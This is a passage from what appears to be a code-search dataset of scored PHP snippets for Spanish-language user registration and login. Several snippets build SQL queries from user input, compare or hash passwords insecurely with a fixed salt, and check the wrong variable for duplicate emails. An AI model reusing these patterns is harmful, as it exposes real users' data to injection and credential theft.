$_POST[\"contrasenna\"];\n\n $acl->anadirUsuario($registro->nif, $contra, 1);\n Sistema::app()->irAPagina(array(\"logueo\",\"Formulario\"));\n return;\n }\n }\n }\n\n echo $this->dibujaVistaParcial(\"registro\",array(\"modelo\"=>$registro,\"error\"=>$exito,\"palabras\"=>$palabras),true).PHP_EOL;\n }", "title": "" }, { "docid": "545d04edede498766d6c661d6e6af06c", "score": "0.6708075", "text": "public function ComprobarUsuario(){\n $nick = $this->input->get_post(\"nombre\");\n $contrasena = $this->input->get_post(\"password\");\n $usuario = $this->UsuariosModel->ComprobarUsuario($nick,$contrasena);\n //Si el usuario esta registrado\n if($usuario!=0) {\n \n //Mandamos los datos que crearan las variables de sesion\n\n $datosUser = $this->UsuariosModel->ComprobarTipo($nick,$contrasena);\n $idUser = $datosUser[0]['id'];\n $this->crearLogin($datosUser[0]['id'],$datosUser[0]['nombre'], $datosUser[0]['tipo']);\n\n if($this->session->userdata('tipoUsuario')>2){\n redirect(site_url());\n }else if( ($this->session->userdata('tipoUsuario')>=0) && ($this->session->userdata('tipoUsuario')<=2) ){\n $this->main();\n }\n //Si el usuario no esta registrado\n } else {\n $this->Index();\n }\n }", "title": "" }, { "docid": "a1d4e89d10772547e553ee10aa300125", "score": "0.67074037", "text": "function guardarUsuarioRol(){\r\n\t\t$this->objFunSeguridad=new FuncionesSeguridad();\r\n\t\t\r\n\t\t//preguntamos si se debe insertar o modificar \r\n\t\tif($this->objParam->insertar('id_usuario_rol')){\r\n\r\n\t\t\t//ejecuta el metodo de insertar de la clase MODPersona a travez \r\n\t\t\t//de la intefaz objetoFunSeguridad \r\n\t\t\t$this->res=$this->objFunSeguridad->insertarUsuarioRol($this->objParam);\t\t\t\r\n\t\t}\r\n\t\telse{\t\r\n\t\t\t//ejecuta el metodo de modificar persona de la clase MODPersona a travez \r\n\t\t\t//de la intefaz objetoFunSeguridad \r\n\t\t\t$this->res=$this->objFunSeguridad->modificarUsuarioRol($this->objParam);\r\n\t\t}\r\n\t\t\r\n\t\t//imprime respuesta en formato JSON\r\n\t\t$this->res->imprimirRespuesta($this->res->generarJson());\r\n\r\n\t}", "title": "" }, { "docid": "66b0203432cbd286f81b57605f14ad39", "score": "0.6689367", "text": "public function registerUsuario(){\n\t\t$sql = (\"SELECT * FROM usuario WHERE username = :username OR uemail = :uemail \");\n\t\t$query = $this->conx->prepare($sql);\n \t$query->bindParam(':username', $this->username);\n \t$query->bindParam(':uemail', $this->uemail);\n \t$query->execute();\n \t\n \tif ($query->rowCount() > 0){\n \t\techo\"<script language ='javascript'>alert('El usuario o Correo ya existen');</script>\";\n\t\t\t\treturn false;\n \t\t}\n\t\t\telse {\n\t\t\t\t $query2 = $this->conx->prepare(\"INSERT INTO usuario(username,uname,ulastname,upassword,uemail)\n \t\t VALUES (:username,:uname,:ulastname,:upassword,:uemail)\");\n \t\t\t$query2->bindParam(':username',$this->username);\n \t\t\t$query2->bindParam(':uname',$this->uname);\n\t\t \t$query2->bindParam(':ulastname',$this->ulastname);\n \t\t\t$query2->bindParam(':upassword',$this->upassword);\n \t\t\t$query2->bindParam(':uemail',$this->uemail);\n \t\t\t\n \t\tif($query2->execute()) {\n \t\t\t$rol= 'usuario';\n \t\t\t$nuevoUserId = $this->conx->lastInsertId();\n \t\t\t$nuevoRolId = $this->getIdRol($rol);\n\n \t\t\t\n \t\t\t$query3 = $this->conx->prepare(\"INSERT INTO usuariorol(idUsuario,idRoles) VALUES (:usuario,:rol)\");\n \t\t\t$query3->bindParam(':usuario',$nuevoUserId);\n \t\t\t$query3->bindParam(':rol',$nuevoRolId);\n \t\t\t$query3->execute();\n \t\t\treturn true;\n \t\t \n \t\t} else {\n \t\t\t\techo\"<script language ='javascript'>alert('NO');</script>\";\n \t\t\t\treturn false;\n \t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t}\t\n\t\t\treturn $nuevoUserid;\n\t}", "title": "" }, { "docid": "0d534e5441b673467c9bdda9e0b999cf", "score": "0.6665612", "text": "public function registrarUsuario(){\n\n\t\t$nombre = $_POST['nombre'];\n\t\t$apellido= $_POST['apellido'];\n\t\t$nickname= $_POST['nickname'];\n\n\t\t$fechaNacimiento= $_POST['date'];\n\t\t//echo $fechaNacimiento;\n\t\t$mail= $_POST['mail'];\n\t\t$telefono= $_POST['telefono'];\n\t\t$password = $_POST['password'];\n\t\t$password_cifrada = password_hash($password,PASSWORD_DEFAULT); \n\t\t/* Coste de la función por defecto: 10\n\t\t\tpassword_hash($password,PASSWORD_DEFAULT,array(\"cost\")=>12);\n\t\t\thttp://php.net/manual/es/faq.passwords.php\n\t\t*/\n\t\t//echo $password_cifrada;\n\t\t$sexo= $_POST['sexo'];\n\t\t//$fotografia = \"no\";\n\t\t$usuarios = $this->Usuario->getUsuarios();\n\t\t$idUsuario = end($usuarios)['idUsuario'];\n\n\n\n\t\t$validarCampos = $this->validarCampos($nombre, $apellido, $nickname, $password);\n\n\t\tif (strlen($validarCampos) > 0){\n\t\t\t// Volver al formulario\n\t\t\t$data['nombre'] = $nombre;\n\t\t\t$data['apellido'] = $apellido;\n\t\t\t$data['nickname'] = $nickname;\n\t\t\t$data['fechaNacimiento'] = $fechaNacimiento;\n\t\t\t$data['mail'] = $mail;\n\t\t\t$data['telefono'] = $telefono;\n\t\t\t$data['sexo'] = $sexo;\n\t\t\t//echo $vars['sexo'];\n\t\t\t$data['msg'] = $_SESSION['msg'];\n\t\t\t$data['error'] = 2;\n\t\t\t$data['divs'] = $validarCampos;\n\t\t\t$this->view->show('formularioRegistro.php', $data);\n\t\t} else {\n\n\t\t\t$this->Usuario->setUsuario($nombre,$apellido,$nickname, $mail, $sexo, $password_cifrada, $telefono, $fechaNacimiento,1,1);\n\n\t\t\t$usuarios = $this->Usuario->getUsuarios();\n\t\t\t$idUsuarioNuevo = end($usuarios)['idUsuario'];\n\n\t\t\tif ($idUsuario == $idUsuarioNuevo){\n\t\t\t\t$data['error'] = 1;\n\t\t\t\t$this->view->show('formularioRegistro.php', $data);\n\t\t\t} else {\n\n\t\t\t\t$subirImagen = $this->guardarImagen($idUsuarioNuevo);\n\t\t\t\t$mensaje = 0;\n\t\t\t\tif ($subirImagen == 0 ){\t// hubo un error\n\t\t\t\t\t$data['error'] = 0;\n\t\t\t\t\t$this->Usuario->eliminarUsuario($idUsuarioNuevo);\n\t\t\t\t\t$this->view->show('formularioRegistro.php', $data);\n\t\t\t\t} else {\t// todo ok\n\t\t\t\t\t$usuarioNuevo = $this->Usuario->getUsuario($idUsuarioNuevo);\n\t\t\t\t\t$data['nuevoUsuario'] = $usuarioNuevo;\n\t\t\t\t\theader('Location: ?controlador=Index&accion=inicio');\n\t\t\t\t\t//$this->view->show('inicio.php', $data);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\n\n\t\t/*\n\t\t$this->Usuario->setUsuario($nombre,$apellido,$nickname, $mail, $sexo, $password_cifrada, $telefono, $fechaNacimiento,1,1);\n\n\t\t$usuarios = $this->Usuario->getUsuarios();\n\t\t$idUsuarioNuevo = end($usuarios)['idUsuario'];\n\n\t\tif ($idUsuario == $idUsuarioNuevo){\n\t\t\t$data['error'] = 1;\n\t\t\t//$this->Usuario->eliminarUsuario($idUsuario);\n\t\t\t$this->view->show('formularioRegistro.php', $data);\n\t\t} else {\n\n\t\t\t$subirImagen = $this->guardarImagen($idUsuarioNuevo);\n\t\t\t$mensaje = 0;\n\t\t\tif ($subirImagen == 0 ){\t// hubo un error\n\t\t\t\t$data['error'] = 0;\n\t\t\t\t$this->Usuario->eliminarUsuario($idUsuarioNuevo);\n\t\t\t\t$this->view->show('formularioRegistro.php', $data);\n\t\t\t} else {\t// todo ok\n\t\t\t\t$usuarioNuevo = $this->Usuario->getUsuario($idUsuarioNuevo);\n\t\t\t\t$data['nuevoUsuario'] = $usuarioNuevo;\n\t\t\t\theader('Location: ?controlador=Index&accion=inicio');\n\t\t\t\t//$this->view->show('inicio.php', $data);\n\t\t\t}\n\t\t}\n\t\t*/\n\n\t\t\n\t\t\n\t}", "title": "" }, { "docid": "3738a580afc527a879a559b76ced3bd3", "score": "0.6660951", "text": "function agregarUsuario(){\n\t\t\t$titulo = obtenerInformacionTitulo();\n\t\t\tif ($_POST[\"pass1\"] != $_POST[\"pass2\"]){\n\t\t\t\t$msjError = \"Las contrase&ntilde;as no coinciden\";\n\t\t\t\trequire '../vista/registrarse.html';\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$user = $_POST[\"user\"];\n\t\t\t\t$pass = $_POST[\"pass1\"];\n\t\t\t\t$mail = $_POST[\"mail\"];\n\t\t\t\t$rol = \"\";\n\t\t\t\tswitch ($_POST[\"rol\"]) {\n\t\t\t\t\tcase '0':\n\t\t\t\t\t\t$rol = \"gestion\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase '1':\n\t\t\t\t\t\t$rol = \"administracion\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase '2':\n\t\t\t\t\t\t$rol = \"consulta\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\t//Aca antes validabamos que no exista el usuario\n\t\t\t\t//Ahora la logica esta en el metodo registrar()\n\t\t\t\t//Y en el caso de que ya exista, se levanta una excepcion\n\t\t\t\ttry {\n\t\t\t\t\tregistrar($user,$pass,$rol,$mail);\n\t\t\t\t\t$msjExito = \"El usuario ha sido creado correctamente!\";\n\t\t\t\t\trequire '../vista/exito.html';\n\t\t\t\t}\n\t\t\t\t//Si ya existia, atrapo la excepcion y se la mando a la vista para que la muestre\n\t\t\t\tcatch (Exception $e) {\n\t\t\t\t \t$msjError = $e->getMessage();\n\t\t\t\t \trequire '../vista/registrarse.html';\n\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\n\t\t\t}\n\t}", "title": "" }, { "docid": "d4b2a31e743d082e65ecc9db59fc423b", "score": "0.6653223", "text": "static public function ctrIngresoUsuario() {\n\n\t\t// Patrón (admite letras acentuadas y espacios y Caracteres Especiales -> punto y parentesis)\n\t\t$patron_textoEspecial = \"/^[A-Za-zñÑáéíóúÁÉÍÓÚ .-]+$/\";\n\n\t\t// Patrón (admite numero y letras y tambien -)\n\t\t$patron_numerosLetras = \"/^[A-Za-z0-9-]+$/\";\n\n\t\t// Patrón (admite numero y letras)\n\t\t$patron_password = \"/^[a-zA-Z0-9]+$/\";\n\n\t\tif (isset($_POST[\"loginMatricula\"])) {\n\t\t\t\n\t\t\tif (preg_match($patron_numerosLetras, $_POST[\"loginMatricula\"]) &&\n\t\t\t\tpreg_match($patron_numerosLetras, $_POST[\"loginCI\"]) &&\n\t\t\t\tpreg_match($patron_password, $_POST[\"loginPassword\"])) {\n\n\t\t\t\t// encriptar el password ingresado para vereficar\n\t\t\t\t$encriptar = crypt($_POST[\"loginPassword\"], '$2a$07$asxx54ahjppf45sd87a5a4dDDGsystemdev$');\n\t\t\t\t\n\t\t\t\t// envió de parametros al modelo para obtener datos de usuario \n\n\t\t\t\t$tabla = \"usuarios\";\t\t\n\t\t\t\t$item = \"matricula\";\n\t\t\t\t$valor = $_POST[\"loginMatricula\"];\n\n\t\t\t\t$respuesta = ModeloUsuarios::mdlMostrarUsuarios($tabla, $item, $valor);\n\n\t\t\t\tif ($respuesta[\"matricula\"] == $_POST[\"loginMatricula\"] && $respuesta[\"documento_ci\"] == $_POST[\"loginCI\"] && $respuesta[\"password\"] == $encriptar) {\n\n\t\t\t\t\tif ($respuesta[\"estado\"] == \"ACTIVO\") {\n\n\t\t\t\t\t\t// session_start();\n\t\t\t\t\t\t\n\t\t\t\t\t\t$_SESSION[\"iniciarSesionCOVID\"] = \"ok\";\n\t\t\t\t\t\t$_SESSION[\"idUsuarioCOVID\"] = $respuesta[\"id\"];\n\t\t\t\t\t\t$_SESSION[\"paternoUsuarioCOVID\"] = $respuesta[\"paterno\"];\n\t\t\t\t\t\t$_SESSION[\"maternoUsuarioCOVID\"] = $respuesta[\"materno\"];\n\t\t\t\t\t\t$_SESSION[\"nombreUsuarioCOVID\"] = $respuesta[\"nombre\"];\n\t\t\t\t\t\t$_SESSION[\"cargoUsuarioCOVID\"] = $respuesta[\"cargo\"];\n\t\t\t\t\t\t$_SESSION[\"MatriculaUsuarioCOVID\"] = $respuesta[\"matricula\"];\n\t\t\t\t\t\t$_SESSION[\"fotoUsuarioCOVID\"] = $respuesta[\"foto\"];\n\t\t\t\t\t\t$_SESSION[\"perfilUsuarioCOVID\"] = $respuesta[\"perfil\"];\n\n\n\t\t\t\t\t\techo '<script>\n\n\t\t\t\t\t\t\twindow.location = \"inicio\";\n\n\t\t\t\t\t\t</script>';\n\n\t\t\t\t\t} else {\n\n\t\t\t\t\t\techo '<div class=\"alert alert-danger mt-3\">El usuario no está activo. Contactese con el Administrador de Sistemas.</div>';\n\n\t\t\t\t\t}\t\t\t\t\t\n\n\t\t\t\t}else {\n\n\t\t\t\t\techo '<div class=\"alert alert-danger mt-3\">Error al ingresar, vuelva a intentarlo</div>';\n\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t}\n\n\t}", "title": "" }, { "docid": "cb083b563ea5250d519a5d4c77bd3f38", "score": "0.66531694", "text": "public function save(){\n\t\t$conexion = new Database();\n\t\t\n if ($this->codigo){\n $sql = 'UPDATE CAU_USUARIOS SET usuario = ? password = ? WHERE codigo = ?';\n\t\t\t$conexion->prepare( $sql );\n\t\t\t$conexion->bindParam( 1, $this->usuario );\n\t\t\t$conexion->bindParam( 2, $this->password );\n\t\t\t$conexion->bindParam( 3, $this->codigo );\n\t\t\t$conexion->execute();\n }\n else{\n $sql = 'INSERT INTO CAU_USUARIOS ( usuario, password) VALUES (?, ?)';\n\t\t\t$conexion->prepare( $sql );\n\t\t\t$conexion->bindParam( 1, $this->usuario );\n\t\t\t$conexion->bindParam( 2, $this->password );\n\t\t\t$conexion->execute();\n\t\t\t$this->codigo = $conexion->lastInsertId();\n }\n }", "title": "" }, { "docid": "e49104ea03551ae0e70271fd6e6b00bb", "score": "0.6638201", "text": "public function registroUser($mensaje=null){\r\n sesion::startSession();\r\n $action = '';\r\n $db = new users();\r\n ///OBTENGO LOS DATOS///\r\n $mail = filter_input(INPUT_POST,'email',FILTER_SANITIZE_EMAIL);\r\n $pass = filter_input(INPUT_POST,'pass',FILTER_SANITIZE_STRING);\r\n $nombre = filter_input(INPUT_POST,'nombre',FILTER_SANITIZE_STRING);\r\n $username = filter_input(INPUT_POST,'username',FILTER_SANITIZE_STRING);\r\n $edad = filter_input(INPUT_POST,'edad',FILTER_SANITIZE_NUMBER_INT);\r\n $tel = filter_input(INPUT_POST,'tel',FILTER_SANITIZE_STRING);\r\n ///FIN DATOS////\r\n if(data::verify_mail($mail)){\r\n if(data::verify_pass($pass)){\r\n if(data::verify_name($nombre)){\r\n if(data::verify_username($username)){\r\n if(data::verify_age($edad)){\r\n if(data::verify_phone($tel)){\r\n //Verifico todos los Datos//\r\n if(empty($db->buscarUser($mail)) && (empty($db->buscarUser($username)))){\r\n if(isset($_SESSION['mensaje'])){\r\n unset($_SESSION['mensaje']);\r\n }\r\n $db->newUser($pass,$mail,$nombre,$username,$edad,$tel);\r\n mail::sendConfirmMail($mail);\r\n $this->redireccionarA($_SERVER['REQUEST_URI'],\"/verify/verifymail/\" . $mail);\r\n }else{\r\n $_SESSION['mensaje'] = 'Ya Existe';\r\n $this->redireccionarA($_SERVER['REQUEST_URI'],'registro');\r\n }\r\n //Verifico todos los Datos//\r\n }else{\r\n $_SESSION['mensaje'] = 'Telefono invalido.';\r\n $this->redireccionarA($_SERVER['REQUEST_URI'],'registro');\r\n }\r\n }else{\r\n $_SESSION['mensaje'] = 'Edad invalida.';\r\n $this->redireccionarA($_SERVER['REQUEST_URI'],'registro');\r\n }\r\n }else{\r\n $_SESSION['mensaje'] = 'Usario invalido. No puede tener caracteres especiales.';\r\n $this->redireccionarA($_SERVER['REQUEST_URI'],'registro');\r\n }\r\n }else{\r\n $_SESSION['mensaje'] = 'Nombre invalido. No puede tener numeros o caracteres.';\r\n $this->redireccionarA($_SERVER['REQUEST_URI'],'registro');\r\n }\r\n }else{\r\n $_SESSION['mensaje'] = 'Contraseña invalida.';\r\n $this->redireccionarA($_SERVER['REQUEST_URI'],'registro');\r\n }\r\n }else{\r\n $_SESSION['mensaje'] = 'Correo electronico invalido. '.$mail;\r\n $this->redireccionarA($_SERVER['REQUEST_URI'],'registro');\r\n }\r\n }", "title": "" }, { "docid": "6ad6187475bbb0841e22cb8295330562", "score": "0.66311485", "text": "static public function ctrIngresoUsuario(){\n /* DEFINE SI LA VARIBALE ESTA DEFINIDA EN ESTE CASO SI LA VARIBALE POST \"ingUsuario\n esta definina (tiene datos) se esta intentando entrar al sistema\"*/\n if(isset($_POST[\"ingUsuario\"])) {\n /* Este if es solo para permitir ciertos caracteres por cuestiones de seguridad evitar el SQLInyeccion\n preg_match permite comprar cadenas con expresiones\n regulares en este caso definidas por nosotros mismos */\n if(preg_match('/^[a-zA-Z0-9]+$/', $_POST[\"ingUsuario\"]) && \n preg_match('/^[a-zA-Z0-9]+$/', $_POST[\"ingPassword\"]))\n {\n /* Variable de la tabla */\n $tabla = \"usuarios\";\n /* Variable de la columna usuario */\n $item = \"nickname\";\n /* TOMA EL VALOR DEL INPUT ING USUARIO */\n $valor = $_POST[\"ingUsuario\"];\n /* Se esta instanciando el metodo y todo se esta guardando en la variable\n respuesta */\n $respuesta = ModeloUsuarios::MdlMostrarUsuarios($tabla, $item, $valor);\n /*CON ESTA FUNCION SE IMPRIME TODO LO QUE SE ALMACENO EN LA VARIABLE DE\n \" respuesta\" */\n /*var_dump($respuesta[\"usuario\"]);*/\n /* $respuesta[\"campo de la tabla de BD\"] */\n if ($respuesta[$item] == $_POST[\"ingUsuario\"] && \n $respuesta[\"password\"] == $_POST[\"ingPassword\"]) {\n \n $_SESSION[\"iniciarSesion\"] = \"ok\";\n $_SESSION[\"usuario\"][\"nombre\"] = $respuesta[\"nombre\"].' '.$respuesta[\"apellido\"];\n \n echo '<script>\n swal({\n title: \"¡Bienvenido a SEFAUREO 2.0!\",\n text: \"Haz iniciado sesión correctamente\",\n icon: \"success\",\n timer: 3000,\n buttons: false\n // button: \"Aceptar\"\n }).then(function(){\n window.location = \"inicio\";\n });\n </script>';\n }\n else{\n echo ' <script>\n swal({\n title: \"¡Error al iniciar sesión!\",\n text: \"Por favor intente de nuevo\",\n icon: \"error\",\n button: \"Aceptar\",\n });\n </script>\n ';\n /* echo '<br> <div class=\"alert alert-danger\">Error al iniciar Sesion</div>'; */\n }\n }\n }\n }", "title": "" }, { "docid": "c8a7698b7a7f4760d5c08ba7c5656c62", "score": "0.6629295", "text": "function guardar($objUser)\n {\n $idMen = $_REQUEST['idMensajero'];\n $peso = $_REQUEST['peso'];\n $idCiuDesi = $_REQUEST['idDesti'];\n $arreGuias = unserialize($_SESSION['arregloGuias']);\n\n $idCreador = $objUser->getId();\n $idCiuOri = $objUser->getIdCiudad();\n \n \n $idAli = $_REQUEST['idAli'];\n $idSucur = $_REQUEST['idSucur'];\n $idMenResibe = $_REQUEST['idMenResibe'];\n\n //echo($idMen.\" ali \".$idAli.\" sucur \".$idSucur.\" menResibe \".$idMenResibe);\n\n if ($idAli == -1)\n {\n $idAli = NULL;\n }\n if ($idSucur == -1)\n {\n $idSucur = NULL;\n }\n if ($idMenResibe == -1)\n {\n $idMenResibe = NULL;\n }\n\n\n $objManifiesto = new Manifiesto(-1, $idSucur, $idCreador, 0, NULL, NULL);\n $objManifiesto->peso = $peso;\n $objManifiesto->setIdCiuDesti($idCiuDesi);\n $objManifiesto->setIdCiuOri($idCiuOri);\n\n $daoMani = new DaoManifiesto();\n\n\n $objManifiesto->setTerceros($idAli, $idMen, $idMenResibe);\n\n $daoMani->insertar($objManifiesto, $arreGuias);\n }", "title": "" }, { "docid": "4d6c3f306578cffffba55341d83c3560", "score": "0.6628068", "text": "public function agregar_usuario_controlador(){\n\t\t\t$dni=mainModel::limpiar_cadena($_POST['usuario_dni_reg']);\n\t\t\t$nombre=mainModel::limpiar_cadena($_POST['usuario_nombre_reg']);\n\t\t\t$apellido=mainModel::limpiar_cadena($_POST['usuario_apellido_reg']);\n\t\t\t$telefono=mainModel::limpiar_cadena($_POST['usuario_telefono_reg']);\n\t\t\t$direccion=mainModel::limpiar_cadena($_POST['usuario_direccion_reg']);\n\n\t\t\t$usuario=mainModel::limpiar_cadena($_POST['usuario_usuario_reg']);\n\t\t\t$email=mainModel::limpiar_cadena($_POST['usuario_email_reg']);\n\t\t\t$clave1=mainModel::limpiar_cadena($_POST['usuario_clave_1_reg']);\n\t\t\t$clave2=mainModel::limpiar_cadena($_POST['usuario_clave_2_reg']);\n\n\n\t\t\t$privilegio=mainModel::limpiar_cadena($_POST['usuario_privilegio_reg']);\n\n\n\t\t\t/*== comprobar campos vacios ==*/\n\t\t\tif($dni==\"\" || $nombre==\"\" || $apellido==\"\" || $usuario==\"\" || $clave1==\"\" || $clave2==\"\"){\n\t\t\t\t$alerta=[\n\t\t\t\t\t\"Alerta\"=>\"simple\",\n\t\t\t\t\t\"Titulo\"=>\"Ocurrió un error inesperado\",\n\t\t\t\t\t\"Texto\"=>\"No has llenado todos los campos que son obligatorios\",\n\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t];\n\t\t\t\techo json_encode($alerta);\n\t\t\t\texit();\n\t\t\t}\n\n\n\t\t\t/*== Verificando integridad de los datos ==*/\n\t\t\tif(mainModel::verificar_datos(\"[0-9-]{8,20}\",$dni)){\n\t\t\t\t$alerta=[\n\t\t\t\t\t\"Alerta\"=>\"simple\",\n\t\t\t\t\t\"Titulo\"=>\"Ocurrió un error inesperado\",\n\t\t\t\t\t\"Texto\"=>\"El DNI no coincide con el formato solicitado\",\n\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t];\n\t\t\t\techo json_encode($alerta);\n\t\t\t\texit();\n\t\t\t}\n\n\t\t\tif(mainModel::verificar_datos(\"[a-zA-ZáéíóúÁÉÍÓÚñÑ ]{1,35}\",$nombre)){\n\t\t\t\t$alerta=[\n\t\t\t\t\t\"Alerta\"=>\"simple\",\n\t\t\t\t\t\"Titulo\"=>\"Ocurrió un error inesperado\",\n\t\t\t\t\t\"Texto\"=>\"El NOMBRE no coincide con el formato solicitado\",\n\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t];\n\t\t\t\techo json_encode($alerta);\n\t\t\t\texit();\n\t\t\t}\n\n\t\t\tif(mainModel::verificar_datos(\"[a-zA-ZáéíóúÁÉÍÓÚñÑ ]{1,35}\",$apellido)){\n\t\t\t\t$alerta=[\n\t\t\t\t\t\"Alerta\"=>\"simple\",\n\t\t\t\t\t\"Titulo\"=>\"Ocurrió un error inesperado\",\n\t\t\t\t\t\"Texto\"=>\"El APELLIDO no coincide con el formato solicitado\",\n\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t];\n\t\t\t\techo json_encode($alerta);\n\t\t\t\texit();\n\t\t\t}\n\n\t\t\tif($telefono!=\"\"){\n\t\t\t\tif(mainModel::verificar_datos(\"[0-9()+]{8,20}\",$telefono)){\n\t\t\t\t\t$alerta=[\n\t\t\t\t\t\t\"Alerta\"=>\"simple\",\n\t\t\t\t\t\t\"Titulo\"=>\"Ocurrió un error inesperado\",\n\t\t\t\t\t\t\"Texto\"=>\"El TELEFONO no coincide con el formato solicitado\",\n\t\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t\t];\n\t\t\t\t\techo json_encode($alerta);\n\t\t\t\t\texit();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif($direccion!=\"\"){\n\t\t\t\tif(mainModel::verificar_datos(\"[a-zA-Z0-9áéíóúÁÉÍÓÚñÑ().,#\\- ]{1,190}\",$direccion)){\n\t\t\t\t\t$alerta=[\n\t\t\t\t\t\t\"Alerta\"=>\"simple\",\n\t\t\t\t\t\t\"Titulo\"=>\"Ocurrió un error inesperado\",\n\t\t\t\t\t\t\"Texto\"=>\"La DIRECCION no coincide con el formato solicitado\",\n\t\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t\t];\n\t\t\t\t\techo json_encode($alerta);\n\t\t\t\t\texit();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif(mainModel::verificar_datos(\"[a-zA-Z0-9]{1,35}\",$usuario)){\n\t\t\t\t$alerta=[\n\t\t\t\t\t\"Alerta\"=>\"simple\",\n\t\t\t\t\t\"Titulo\"=>\"Ocurrió un error inesperado\",\n\t\t\t\t\t\"Texto\"=>\"El NOMBRE DE USUARIO no coincide con el formato solicitado\",\n\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t];\n\t\t\t\techo json_encode($alerta);\n\t\t\t\texit();\n\t\t\t}\n\n\t\t\tif(mainModel::verificar_datos(\"[a-zA-Z0-9$@.-]{7,100}\",$clave1) || mainModel::verificar_datos(\"[a-zA-Z0-9$@.-]{7,100}\",$clave2)){\n\t\t\t\t$alerta=[\n\t\t\t\t\t\"Alerta\"=>\"simple\",\n\t\t\t\t\t\"Titulo\"=>\"Ocurrió un error inesperado\",\n\t\t\t\t\t\"Texto\"=>\"Las CLAVES no coinciden con el formato solicitado\",\n\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t];\n\t\t\t\techo json_encode($alerta);\n\t\t\t\texit();\n\n\t\t\t}\n\t\t\t//comprobando DNi\n\t\t\t$check_dni=mainModel::ejecutar_consulta_simple(\"SELECT usuario_dni FROM usuario WHERE usuario_dni='$dni'\");\n\t\t\tif($check_dni->rowCount()>0){\n\t\t\t\t$alerta=[\n\t\t\t\t\t\"Alerta\"=>\"simple\",\n\t\t\t\t\t\"Titulo\"=>\"Ocurrió un error inesperado\",\n\t\t\t\t\t\"Texto\"=>\"El DNI ingresado ya se encuentra registrado\",\n\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t];\n\t\t\t\techo json_encode($alerta);\n\t\t\t\texit();\n\n\t\t\t}\n\t\t\t\t//comprobando usuario\n\t\t\t$check_user=mainModel::ejecutar_consulta_simple(\"SELECT usuario_usuario FROM usuario WHERE usuario_usuario='$usuario'\");\n\t\t\tif($check_user->rowCount()>0){\n\t\t\t\t$alerta=[\n\t\t\t\t\t\"Alerta\"=>\"simple\",\n\t\t\t\t\t\"Titulo\"=>\"Ocurrió un error inesperado\",\n\t\t\t\t\t\"Texto\"=>\"El NOMBRE DE USUARIO ya se encuentra en el sistema\",\n\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t];\n\t\t\t\techo json_encode($alerta);\n\t\t\t\texit();\n\t\t\t}\n\t\t\t// comprobando email\n\t\t\tif($email!=\"\"){\n\t\t\t\tif(filter_var($email,FILTER_VALIDATE_EMAIL)){\n\t\t\t\t$check_email=mainModel::ejecutar_consulta_simple(\"SELECT usuario_email FROM usuario WHERE usuario_email='$email'\");\n\t\t\tif($check_user->rowCount()>0){\n\t\t\t\t$alerta=[\n\t\t\t\t\t\"Alerta\"=>\"simple\",\n\t\t\t\t\t\"Titulo\"=>\"Ocurrió un error inesperado\",\n\t\t\t\t\t\"Texto\"=>\"El EMAIL ingresado yas e encuentra en el sistema\",\n\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t];\n\t\t\t\techo json_encode($alerta);\n\t\t\t\texit();\n\t\t\t}\t\n\t\t\t\t}else{\n\t\t\t\t\t$alerta=[\n\t\t\t\t\t\"Alerta\"=>\"simple\",\n\t\t\t\t\t\"Titulo\"=>\"Ocurrió un error inesperado\",\n\t\t\t\t\t\"Texto\"=>\"Ha ingresado un correo no valido\",\n\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t];\n\t\t\t\techo json_encode($alerta);\n\t\t\t\texit();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t//comprobando claves\n\t\t\tif($clave1!=$clave2){\n\t\t\t\t$alerta=[\n\t\t\t\t\t\"Alerta\"=>\"simple\",\n\t\t\t\t\t\"Titulo\"=>\"Ocurrió un error inesperado\",\n\t\t\t\t\t\"Texto\"=>\"Las claves que acaba de ingresar no coinciden\",\n\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t];\n\t\t\t\techo json_encode($alerta);\n\t\t\t\texit();\n\t\t\t}else{\n\t\t\t\t$clave=mainModel::encryption($clave1);\n\n\t\t\t}\n\t\t\t//comprobando privilegio\n\t\t\tif($privilegio<1 || $privilegio>3){\n\t\t\t\t\t$alerta=[\n\t\t\t\t\t\"Alerta\"=>\"simple\",\n\t\t\t\t\t\"Titulo\"=>\"Ocurrió un error inesperado\",\n\t\t\t\t\t\"Texto\"=>\"El PRIVILEGIO selecionado no es valido\",\n\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t];\n\t\t\t\techo json_encode($alerta);\n\t\t\t\texit();\n\t\t\t}\n\n\t\t\t$datos_usuario_reg=[\n\t\t\t\"DNI\"=>$dni,\n\t\t\t\"Nombre\"=>$nombre,\n\t\t\t\"Apellido\"=>$apellido,\n\t\t\t\"Telefono\"=>$telefono,\n\t\t\t\"Direccion\"=>$direccion,\n\t\t\t\"Email\"=>$email,\n\t\t\t\"Usuario\"=>$usuario,\n\t\t\t\"Clave\"=>$clave,\n\t\t\t\"Estado\"=>\"Activo\",\n\t\t\t\"Privilegio\"=>$privilegio\t\n\t\t\t];\n\t\t\t$agregar_usuario=usuarioModelo::agregar_usuario_modelo($datos_usuario_reg);\n\t\t\tif($agregar_usuario->rowCount()==1){\n\t\t\t\t$alerta=[\n\t\t\t\t\t\"Alerta\"=>\"limpiar\",\n\t\t\t\t\t\"Titulo\"=>\"Usuario 